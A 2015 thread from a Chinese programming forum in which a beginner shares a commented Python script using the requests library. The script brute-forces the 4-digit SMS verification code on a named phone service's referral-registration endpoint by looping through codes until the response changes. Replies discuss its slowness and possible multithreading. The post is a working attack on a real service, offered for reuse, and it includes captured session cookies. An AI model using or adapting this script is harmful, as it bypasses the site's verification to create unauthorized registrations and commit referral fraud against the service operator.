鱼C论坛

 找回密码
 立即注册
查看: 3256|回复: 4

[作品展示] Python带协议头(headers)暴力注册MM电话代码

[复制链接]
发表于 2015-7-10 17:33:11 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能^_^

您需要 登录 才可以下载或查看,没有账号?立即注册

x
本帖最后由 戴宇轩 于 2015-7-12 13:39 编辑

python接触没几天,但写 post程序是比较有趣比较有用的,所以研究了下,发现python的第三方库requests是很不错的POST,GET等网页交互操作的模块,所以安装了这个库,并且参考文章:http://www.mianfeidianhua.net/mmwldh.html,写了代码,其中协议头哪里弄了很久,另外在for循环里加入了while循环,结果程序没有自动跳出(这样用法是有问题的),后面用if判断就正常了。代码如下,都有解释,不说阐述:
  1. import requests # 引入requests模块
  2. url1=’http://www.mmcaller.com/wap/laxinReg.act’ #POST网址
  3. data1=’mobile=被推荐的号码&invitedby=自己的号码&smsCode=1111&inviteway=web-url&sign=d479861f2626ad40709da1895ba4b9c0760e43bf9028ce84ea41626cd44f0bc475223fefd407bdd7e7b37bceb6fc62eab385198e1b95′
  4. #post的数据,其中1111是初始验证码
  5. head={‘Host’: ‘www.mmcaller.com’,
  6. ‘Connection’: ‘keep-alive’,
  7. ‘Content-Length’: ’185′,
  8. ‘Accept’: ‘application/json’,
  9. ‘Origin’: ‘http://www.mmcaller.com’,
  10. ‘X-Requested-With’: ‘XMLHttpRequest’,
  11. ‘User-Agent’: ‘Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36 TheWorld 6′,
  12. ‘Content-Type’: ‘application/x-www-form-urlencoded’,
  13. ‘Referer’: ‘http://www.mmcaller.com/w/lx.c?s=web-url&a=?????’,
  14. ‘Accept-Encoding’: ‘gzip,deflate,sdch’,
  15. ‘Accept-Language’: ‘zh-CN,zh;q=0.8′,
  16. ‘Cookie’: ‘JSESSIONID=6517114FFCEBAB0FE9E5228C63A3FE08; U_UID_JSESSIONID_KEEPC=492569; U_BC_JSESSIONID_KEEPC=0.0; U_NAME_JSESSIONID_KEEPC=自己号码; U_PWD_JSESSIONID_KEEPC=37813d32cd5f64c0; Hm_lvt_6411748e94749dc822884a48bd026032=1436195631,1436280948,1436440536; Hm_lpvt_6411748e94749dc822884a48bd026032=1436449102; Hm_lvt_026df1e3785835b164361376798f7917=1436195274,1436280878,1436440509; Hm_lpvt_026df1e3785835b164361376798f7917=1436449123′}
  17. #协议头,就是这么写的,POST要用到,如果不懂,可以参考文章:http://www.mianfeidianhua.net/mfwydh.html中关于协议头的解释

  18. r=requests.post(url1,data1,headers=head)#requests的POST数据格式,第一个是网址,第二个是POST数据,第三个是协议头,协议头在有些POST里不是必须的,但大部分都需要这个。
  19. r1=r.content
  20. print r1 #打印POST初始数据后的返回值
  21. numcod=1000 #设置初始跑码为1000,因为验证码是4位数,所以从这个跑起不会漏
  22. for i in range(9000): #设置9000次循环
  23. numcod=numcod+1 #验证码每次加1
  24. numm=str(numcod) #把验证码由数值类型转换成文本型数据
  25. data2=data1.replace(’1111′,numm) #替换初始验证码1111为每次生成的验证码数字
  26. r=requests.post(url1,data=data2,headers=head) #requests又在POST数据
  27. print numcod #打印已经跑了的验证码数字
  28. print r.content #打印POST后的返回信息
  29. if(r.content != r1): #如果返回信息 不等于初始值,那么就说明已经找到了真正的验证码
  30. print ‘恭喜,已经找到真正的验证码,并且注册成功,验证码为:’+numm #打印验证码数值
  31. break #跳出for循环
复制代码

可以下载源码看:http://pan.baidu.com/s/1jG1UUPK
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复

使用道具 举报

发表于 2015-7-10 21:40:43 | 显示全部楼层
这样跑验证码 效率很慢吧·!!
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

 楼主| 发表于 2015-7-11 16:11:42 | 显示全部楼层
无所谓无的 发表于 2015-7-10 21:40
这样跑验证码 效率很慢吧·!!

确实比较慢,所以我在研究怎么使用多线程,刚学PYTHON没多久,不知道怎么跑。
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2015-7-12 13:40:24 | 显示全部楼层
缩进是不是漏掉了?注释得挺详细的~
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2015-11-25 13:50:36 | 显示全部楼层
作为爆破程序肯定是比较慢得,可以作为第一版,慢慢改善。
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|手机版|Archiver|鱼C工作室 ( 粤ICP备18085999号-1 | 粤公网安备 44051102000585号)

GMT+8, 2024-5-13 18:58

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表